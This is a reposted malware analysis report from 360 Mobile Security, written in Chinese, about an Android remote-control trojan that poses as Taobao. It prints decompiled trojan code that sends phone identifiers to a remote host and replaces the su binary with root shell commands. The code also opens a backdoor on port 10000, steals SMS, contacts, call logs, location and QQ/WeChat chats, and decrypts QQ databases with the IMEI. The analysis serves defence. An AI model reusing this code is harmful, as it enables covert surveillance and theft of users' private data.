#360移動安全#假冒淘寶遠控木馬

一、木馬介紹

該木馬具有很高的欺騙和隱藏性,在首次運行時並不會暴露自身身份,會通過打包udp數據包,將手機基本信息發送到指定的地址:www.baidu.com 端口: 8000,造成分析者困惑,以及欺騙沙箱。當經歷過查殺期後,木馬通過連接自己建立的後門,修改udp發送目的地,以及設置一些flag,來偷取用戶的qq聊天記錄,微信語音聊天記錄,中碼者的活動地址,短信收發信息,聯繫人信息等等。目前該木馬還通過跟換包名,簽名證書方式逃避殺軟。但360手機衛士可全面查殺任何變種。


二、詳細分析

1.對AndroidManifest.xml文件分析
發現該app使用了大量危險權限,並對短信,系統啓動,網絡變化都進行監聽。
<--!入口一主Activity-->
<activity android:label="@string/app_name" android:name="nitm.jescxys.robqbo.AndroidserviceActivity" android:theme="@android:style/Theme.NoDisplay">
     <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.INFO" />
     </intent-filter>
</activity>
<--!入口二系統系統廣播監聽-->
<receiver android:name="nitm.jescxys.robqbo.TimerReceiver">
     <intent-filter>
            <action android:name="android.intent.action.BOOT_COMPLETED" />
            <category android:name="android.intent.category.HOME" />
     </intent-filter>
</receiver>
<--!入口三短信包廣播監聽-->
<receiver android:name="nitm.jescxys.robqbo.AutoSMS">
     <intent-filter android:priority="1000">
            <action android:name="android.provider.Telephony.SMS_RECEIVED" />
     </intent-filter>
</receiver>
<--!入口四網路變化監聽-->
<receiver android:name="nitm.jescxys.robqbo.NetWorkMonitor">
     <intent-filter>
            <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
     </intent-filter>
</receiver>
<service android:name="TimerService" />
2.首先從主Activity入口分析

啓動TimerService服務  

捆綁安裝assets目錄下的pingAnAccident3.0.apk文件(分析發現assets目錄下並沒有pingAnAccident3.0.apk文件)

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    this.setContentView(2130903040);
    this.startService(new Intent(((Context)this), TimerService.class));
    RetrieveApk retrieveApk = new RetrieveApk();  // 捆綁安裝assets目錄下的pingAnAccident3.0.apk
    if(!retrieveApk.MoveApk(((Context)this))) {
       this.finish();
    }
    else {
       retrieveApk.InstallPacket();
    }
}
3.轉入TimerService服務
   TimerSerivce服務是此木馬核心代碼
    獲取中碼手機信息,如:設備ID,電話號碼,imei號,註冊的網絡運營商等信息。
    配置木馬的惡意行爲,包括建立UDP對象,初始化連接ip,端口; 初始化手機位置信息對象,監聽電話對象,手機截屏對象,手機qq信息記錄對象,文件管理對象,短信監控對象
    運行命令接收線程控制手機,運行錄音線程,初始化屏幕解鎖與鎖定recevier,以控制手機Gps狀態。
    替換手機su文件,並拷貝木馬準備的cp,screenhelper文件(也就是隻能對root過後的手機下黑手),將獲取到的手機號碼,imsi,imei,等打包成udp數據包發送到指定站點
    建立後門.端口10000,黑客通過連接後門傳送自己定義的指令,來控制手機,偷取信息
    時間任務器沒30秒偷取手機設備信息,qq聊天信息,系統安裝程序包,聯繫人,短信信息,通話記錄,屏幕截圖,中碼者位置等等
public void onCreate()
{
    this.m_3gp = new config3g();
    this.m_wificonfig = new configwifi();
    this.GetConfig();  // m_strip 配置(“www.baidu.com”)
    this.GetVersion();  // 讀取Assest目錄下的,version.txt獲取當前木馬版本
    this.telephonyMgr = ((TelephonyManager)getSystemService("phone"));
    this.contentresolver = getContentResolver();
    this.m_Imei = this.telephonyMgr.getDeviceId();
    if (this.m_Imei == null)
      this.m_Imei = getDeviceId();
    this.m_Imsi = this.telephonyMgr.getSubscriberId();
    if (this.m_Imsi == null)
      this.m_Imsi = "";
    this.m_PhoneNum = this.telephonyMgr.getLine1Number();
    if (this.m_PhoneNum == null)
      this.m_PhoneNum = "";
    this.m_NetWorkName = this.telephonyMgr.getNetworkOperatorName();
    this.udp = new UDP();
    this.udp.Init(this.m_strip, Integer.valueOf(this.m_strport).intValue(), this.m_Imei);
    this.m_cont = getApplicationContext();
    this.m_su = new SU(this.m_cont);
    this.m_su.BeginSu(); //替換手機su文件,爲後面執行命令準備
    if (this.sp.getLong("systemlog", 0L) == 0L)
    {
      String str2 = getPackageName();
      RootCmd("mount -o rw,remount /system\ncp /data/app/" + str2 + "*.apk /system/app/" + str2 + "-1.apk\nchmod 777 /system/app/" + str2 + "*.apk");
      //將木馬拷貝到系統app目錄下,僞裝自己爲系統核心軟件
      this.editor.putLong("systemlog", 1L);
    }
    this.gsmLocation = new GsmLocation();
    this.gsmLocation.Init(this.telephonyMgr, this.udp, this);
    this.audio = new Audio();
    this.audio.Init(this.udp, this.telephonyMgr, this);
    this.screen = new Screen();
    AssetManager localAssetManager = getAssets();
    this.screen.Init(this.udp, this, localAssetManager);
    this.m_oldfile = new SendOldFile();
    this.m_oldfile.Init(this, this.udp);
    this.mqq = new mobiqq();
    if (this.m_Imei != null)
      this.mqq.Init(this.m_cont, this.m_Imei, this.udp, this, localAssetManager);
    this.CreateEnviromentAudioPath();  // 在存儲卡上創建.tmp/environmentaudioaudio目錄 並由this.m_envoromentaudiopath字段保存
    this.file = new FileManage();
    this.file.Init(this.udp, this);
    this.filetrans = new FileTrans();
    this.filetrans.Init(this.udp, this);
    this.sms = new Sms();
    this.sms.Init(this.udp, this.contentresolver, this);
    this.cmdThread = new RecvThread(this);
    this.cmdThread.start(); //建立命令接收線程,控制手機
    this.enaudioThread = new environmentaudio(this, this.udp);
    this.enaudioThread.start();
    if (this.m_screenreceiver == null)
    {
      this.m_screenreceiver = new ScreenActionReceiver();
      this.m_screenreceiver.Init(this.m_cont, this);
      IntentFilter localIntentFilter = new IntentFilter();
      localIntentFilter.addAction("com.emple.teacher.ACTION");
      registerReceiver(this.m_screenreceiver, localIntentFilter);
      this.m_screenreceiver.registerScreenActionReceiver(this.m_cont);
    }
    if (Environment.getExternalStorageState().equals("mounted"))
      this.m_srcardpath = Environment.getExternalStorageDirectory().getPath();
    servertrans.SetInstance(this);
    this.m_phonename = (Build.MODEL + "," + Build.VERSION.SDK + "," + Build.VERSION.RELEASE);
    Object[] arrayOfObject = new Object[7];
    arrayOfObject[0] = this.m_PhoneNum;
    arrayOfObject[1] = this.m_Imsi;
    arrayOfObject[2] = this.m_Imei;
    arrayOfObject[3] = this.m_phonename;
    arrayOfObject[4] = Integer.valueOf(this.m_oldfile.m_delefefile / 3600);
    arrayOfObject[5] = this.m_version;
    arrayOfObject[6] = this.m_strip;
    String str1 = String.format("HEART\n%s\n%s\n%s\n%s\n%d\n%s\n%s", arrayOfObject);
    this.udp.SendData(str1);  //發送當前中碼手機信息
    DirTheard localDirTheard = new DirTheard(this.udp, this);
    Thread localThread = new Thread(localDirTheard);
    localThread.start();
    this.m_cmdThread = new TcpServer(this);  //建立後門
    if (this.m_cmdThread != null)
      this.m_cmdThread.start();
    this.mTimer = new Timer(); //建立時間任務,偷取中碼手機短信,qq聊天記錄,位置,通話記錄,手機當前運行包,手機聯繫人信息等等
    this.mTimerTask = new TimerTask()
    {
      public void run()
      {
        if (TimerService.this.checkWIFI())
        {
          if (TimerService.this.needsendother())
          {
            if (TimerService.this.m_wificonfig.m_sysinfor) //木馬通過tcp連接設置字段,以控制讀取手機雲心包信息,手機qq聊天記錄等
              TimerService.this.GetSysInfo();
            if (TimerService.this.m_wificonfig.m_packet)
              TimerService.this.getPackets();
          }
          if (TimerService.this.m_wificonfig.m_contact)
            TimerService.this.GetContents(false);
          if (TimerService.this.m_wificonfig.m_msm)
            TimerService.this.sms.getSmsInPhone(false);
          if (TimerService.this.m_wificonfig.m_histallCall)
            TimerService.this.GetHistoryCall(false);
          if (TimerService.this.m_wificonfig.m_sceen)
            TimerService.this.screen.shot();
          if (TimerService.this.m_wificonfig.m_qq)
            TimerService.this.mqq.GetAllInfor();//獲取qq聊天信息
          if (TimerService.this.m_wificonfig.m_sendoldaudio)
            TimerService.this.m_oldfile.CheckOldData();
          if (TimerService.this.m_wificonfig.m_gsm)
         TimerService.this.gsmLocation.GetGsmLocation(false);//獲取中碼這位置
        }
        while ((!TimerService.this.m_wificonfig.m_gsm) && (!TimerService.this.m_3gp.m_gsm));
        TimerService.this.gsmLocation.SaveLocation();
      }
    };
    this.mTimer.schedule(this.mTimerTask, 5000L, 30000);
}
替換手機su文件

查看Assets文件夾,發現config中是三個elf文件。su用作root, cp用於拷貝文件,screenhelper用於屏幕截屏。


調用BeginSu函數
public void BeginSu() {
        this.ReleaseConfig();
        String packageName = "/data/data/" + this.m_cont.getApplicationContext().getPackageName() +
                File.separator;
        String screenhelperStr = String.valueOf(packageName) + "screenhelper";
        String cpStr = String.valueOf(packageName) + "cp";
        String suStr = String.valueOf(packageName) + "su";
        ArrayList SuShellPath = SU.findSuShellBin("su");
        SuShellPath.add("/system/bin/su");
        int i;
        for(i = 0; i < SuShellPath.size(); ++i) {
            this.CoverSu(SuShellPath.get(i), suStr);  // 覆蓋原有系統中的su文件爲病毒su
        }
        if(SU.findSuShellBin("cp").size() == 0) {
            this.CoverData(cpStr, "/system/bin/cp");  // 拷貝病毒cp文件,進入系統目錄,已準備後面的命令執行
        }
        if(SU.findSuShellBin("screenhelper").size() == 0) {
            this.CoverData(screenhelperStr, "/system/bin/screenhelper");  // 拷貝病毒cp文件,進入系統目錄,已準備後面的命令執行
        }
    }
CoverSu函數覆蓋原有的su文件
public void CoverSu(String oldsu, String mysu) {
        File trojanSuPath = new File(mysu);
        if((trojanSuPath.exists()) && trojanSuPath.length() != new File(oldsu).length()) {
            //execRootCmd函數 先調用Runtime.getRuntime().exec("su");木馬獲取root權限,然後執行出入的參數命令
            SU.execRootCmd("mount -o remount rw /system\n rm " + oldsu + "\n " + "cat " + mysu + " >"
                     + oldsu + "\n chmod 6755 " + oldsu);
        }
    }
 將木馬僞裝成系統應用
  this.RootCmd("mount -o rw,remount /system\ncp /data/app/" + v15 + "*.apk /system/app/" +v15 + "-1.apk\nchmod 777 /system/app/" + v15 + "*.apk");
  接下來在SD卡下建立文件記錄手機位置,通話,錄音,手機截屏圖
   ● 建立.tmp/.tmpgsm.data文件記錄Gsm位置信息
   ● 建立.tmp/audio/time .tmp3gp文件對通話錄音
   ●建立.tmp/screen/time.png截屏圖片.
   ●建立.tmp/environmentaudioaudio文件

   ● 建立.tmp/mobiqq/databases/文件


RecvThread線程,通過udp傳輸命令,完成以下控制
    ●getfile”命令 會獲取微信的聊天記錄包括音頻,圖片文件;
    ●sinfo”命令獲取當前手機系統信息包括設備Mac,電話號碼,連接網絡名等;
    ●gsmLocation”獲取中碼人當前活動位置;
    ●getpackets”命令獲取手機安裝的程序;
    ●contact”獲取手機中聯繫人信息;
    ●historycall”獲取手機通話記錄;
    ●getsms”獲取手機短信息;
    ●setremoteip”設置遠程ip,”queryremoteip”查詢遠程ip,也就是通過tcp連接來設置和查詢m_strip字段,該字段是udp數據發送包的目的地址;
    ●getmobileqq”獲取手機;
    ●uninstall”卸載自身;
    ●environmentaudio”手機錄音控制;
    ●SendMsg”獲取短信箱內容,併發送到指定號碼等等

下圖我們可以瞭解到,起初木馬將獲取的手機號,Imsi,imei號等打包成udp數據包發送到www.baidu.com 端口:8000去,咦怎麼是百度,還以爲是木馬首先污染了dns隱射表,可是查看host並沒有異常情況。通過上面的分析發現在建立的RecvThread線程中,通過獲取“setremoteip”命令,設置m_strip字段,這樣隨時遠程修改ip地址,增加查殺和分析難度。


this.m_cmdThread = new TcpServer(this);
        if(this.m_cmdThread != null) {
            this.m_cmdThread.start();
        }
public void run() {
    try {
        label_1:
            Boolean bRet = Boolean.valueOf(false);
            Log.v("zfw", "server port 10000");
            ServerSocket serverSocket = new ServerSocket(10000, 100);
        label_8:
            if(bRet.booleanValue()) {
                goto label_10;
            }
            Log.v("zfw", "accept loop");
            Socket socket = serverSocket.accept();
            Log.v("zfw", "new socket");
            new TCPCLIENT(socket, this.m_Service);
            goto label_8
    }
}
建立時間任務器,每隔30秒執行一次,木馬作者通過設置一系列的flag,來控制當前需要獲取的哪些信息,並且只在wifi網絡環境下偷取數據     
    this.mTimer = new Timer();
        this.mTimerTask = new TimerTask() {
            public void run() {
                TimerService.this.udp.SendData(String.format("HEART\n%s\n%s\n%s\n%s\n%d\n%s\n%s", TimerService
                        .this.m_PhoneNum, TimerService.this.m_Imsi, TimerService.this.m_Imei, TimerService
                        .this.m_phonename, Integer.valueOf(TimerService.this.m_oldfile.m_delefefile /
                        3600), TimerService.this.m_version, TimerService.this.m_strip));
                if(TimerService.this.checkWIFI()) {//只在wifi環境下偷取數據
                   if(TimerService.this.m_wificonfig.m_contact) { //獲取聯繫人flag
                        TimerService.this.GetContents(false);
                   }
                   if(TimerService.this.m_wificonfig.m_histallCall) {獲取通話記錄flag
                        TimerService.this.GetHistoryCall(false);
                   }
                   if(TimerService.this.m_wificonfig.m_sceen) {屏幕截屏flag
                        TimerService.this.screen.shot();
                   }
                   if(TimerService.this.m_wificonfig.m_qq) { 獲取qq聊天記錄,好友,所加羣信息的flag
                        TimerService.this.mqq.GetAllInfor();
                   }
/////////////////////////////////等等///////////////////////////////////////////////////////////////////////////////////////////////
               }
          }
      }
}
調用GetAllInfor()獲取qq聊天記錄,好友等信息
public void GetAllInfor() {
        if(this.m_initok) {
            this.m_dblist = this.MoveDbFile();  // 獲取qqNum.db列表
            int i;
            for(i = 0; i < this.m_dblist.size(); ++i) {
                Object fileObj = this.m_dblist.get(i);
                String qqNum = new File(((String)fileObj)).getName();
                int pos = qqNum.lastIndexOf(46);
                if(pos > 0) {
                    qqNum = qqNum.substring(0, pos);
                    DBmqq dbmqq = new DBmqq(this.m_cont, ((String)fileObj));
                    this.Getchat(((String)fileObj), dbmqq, qqNum);  // 獲取此qq號碼聊天信息
                    this.GetGroups(dbmqq, qqNum);  // 獲取此qq號碼加的羣
                    this.GetFriends(dbmqq, qqNum);  // 獲取此qq號碼好友
                }
            }
        }
    }
MoveDbFile函數獲取手機中qq號碼列表(可能手機中登錄過多個qq號),最終調用GetChat,GetGroups,GetFriends獲取qq聊天信息,好友等信息
    public void Getchat(String dbfullname, DBmqq qqdb, String loginqqid) {
        List tableName = qqdb.getTablename();
        int i;
        for(i = 0; i < tableName.size(); ++i) {
            Object objName = tableName.get(i);
            if(((String)objName).contains("mr_friend_")) {
                this.GetQQchat(((String)objName), qqdb, loginqqid, false);
            }
            else if(((String)objName).contains("mr_troop_")) {
                this.GetQQchat(((String)objName), qqdb, loginqqid, true);
            }
        }
    }    
 解密QQ加密字符串,key爲15位的手機串號字符串,以下是解密函數。
//lpIn-輸入加密的數據流 從sqlite中getblob得到
//nLen-輸入緩衝區的長度
//key-爲手機imei號
//flg-手機qq是否爲新版本
public String DecrptMobileQQMsg(byte[] lpIn, int nLen, byte[] lpKey, boolean flg) {  // flg=true時解密老版QQ
        int keyLen = lpKey.length;
        String strRet = new String("");
        if(nLen > 0) {
            byte[] decrptData = new byte[nLen * 2 + 2];
            int j = 0;
            int i;
            for(i = 0; j < nLen; ++i) {
                if(flg) {
                    int num = lpIn[j];
                    if(num < 0) {
                        num = lpIn[j] & 255;
                    }
                    if(num < 128) {
                        goto label_41;
                    }
                    if(j + 2 >= nLen) {
                        break;
                    }
                    decrptData[j] = lpIn[j];
                    decrptData[j + 1] = lpIn[j + 1];
                    j += 2;
                }
            label_41:
                if(j >= nLen) {
                    break;
                }
                decrptData[j] = ((byte)(lpIn[j] ^ lpKey[i % keyLen]));
                ++j;
            }
以下是木馬記錄的一些信息
通話錄音


屏幕截屏


三、總結

該木馬屬於遠控潛伏者,通過判斷中碼者手機情況(是否裝有殺軟等),來遠程執行命令操控手機,最終偷取用戶大量隱私,手機用戶在下載手機應用最好到360手機助手等安全可靠的應市場或者官方網站下載,同時安裝360手機衛士,全面查殺此木馬的各種變種。
   
原帖地址在:http://blogs.360.cn/360mobile/2014/09/26/fake-taobao-rat/

發佈了28 篇原創文章 · 獲贊 9 · 訪問量 18萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章